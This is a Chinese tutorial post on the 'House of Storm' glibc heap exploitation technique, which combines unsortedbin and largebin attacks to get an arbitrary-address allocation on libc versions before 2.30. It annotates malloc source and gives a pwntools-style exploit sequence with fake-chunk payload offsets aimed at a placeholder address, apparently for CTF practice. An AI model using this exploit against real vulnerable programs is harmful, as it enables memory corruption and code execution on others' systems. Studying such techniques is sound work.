house of storm

文章发布时间:

最后更新时间:

文章总字数:
717

预计阅读时间:
3 分钟

前言

一种结合了unsortedbin attack和largebin attack的攻击办法 可以达到任意地址写的效果

在学习这两个漏洞的时候 其各自效能不大 unsortedbin 受限于对于fake chunk的size域和bk域的检查

largebin attack受限于其只能单一的在任意地址写堆地址

但是如果将二者结合起来 就可以达到任意地址申请chunk的效果

不过这个办法也是旧时代的眼泪了 在libc2.30以后就诞生了新的检查机制来防止

源码分析

首先我们要清楚整个漏洞的触发流程 先是利用unsortedbin chunk放入到largebin chunk中 从而将fake chunk链入unsorted_chunks (av)

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; // 把 fake_chunk 链入 unsorted_chunks(av)
bck->fd = unsorted_chunks (av); // 把 fake_chunk 的 fd 改成 unsorted_chunks (av)

同时还可以将fake chunk的fd域修改为unsorted_chunks (av)

为了达到这一目的 我们就需要更改unsortedbin chunk的bk域为fakechunk_addr - 0x10

这里之所以还要减去0x10 是为了腾出size域和prev_size域的空间

紧接着我们需要利用largebin attack来写fake chunk的size域 以及完善fake chunk的结构 以供绕过双向链表的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                      else
{
victim->fd_nextsize = fwd; //unsortedbin的fd_nextsize域被设置为了largebin chunk的首地址
victim->bk_nextsize = fwd->bk_nextsize; //unsortebin的bk_nextsize域被设置为largebin的bk_nextsize
fwd->bk_nextsize = victim; //把largebin的bk_nextsize域设置为unsortedbin的首地址
victim->bk_nextsize->fd_nextsize = victim;//这里就是伪造size的关键句 将unsortedbin的bk_nextsize指向的地址+0x20处填入unsortedbin地址
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck; //把 unsorted bin 里刚放进的 chunk->bk 改为 large bin->bk
victim->fd = fwd; //把 unsorted bin 里刚放进的 chunk->fd 改为 large bin
fwd->bk = victim; //把 large bin 的 chunk->bk 改为 unsorted bin 里刚放进的 chunk 的首地址
bck->fd = victim; //这里伪造了fake chunk的bk域
//bck = fwd->bk
//bck->fd = (fwd->bk)+0x10

实际利用

为了配合上述的源代码 我们需要将两个chunk的布局构造成下面这样

1
2
3
4
ptr_addr = 你想要任意写的地址-0x10
payload = p64(0)+p64(ptr_addr) #unsortedbin

payload = p64(0)+p64(ptr_addr+0x8)+p64(0)+p64(ptr_addr-0x18-5) #largebin

具体的数值计算就自己根据源码来看了 应该挺好懂的 还有一点需要注意的就是unsoretbin chunk和largebin chunk的释放时机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x418,b'aaaa')#0
add(0x18,b'aaaa')#1
add(0x408,b'aaaa')#2 largebin
add(0x18,b'aaaa')#3
delete(2)
delete(0)
add(0x418,b'aaaa')#4 unsortedbin
delete(4)

ptr_addr = 0xABCD0500-0x10
payload = p64(0)+p64(ptr_addr)
edit(4,len(payload),payload)
payload = p64(0)+p64(ptr_addr+0x8)+p64(0)+p64(ptr_addr-0x18-5)
edit(2,len(payload),payload)
add(0x48,b'aaaa')
debug()

你可以看到 要先释放largebin chunk 这是因为要将size小的放在链表头 不然后续无法将其放入largebin

总体利用还是比较简单的 难在理解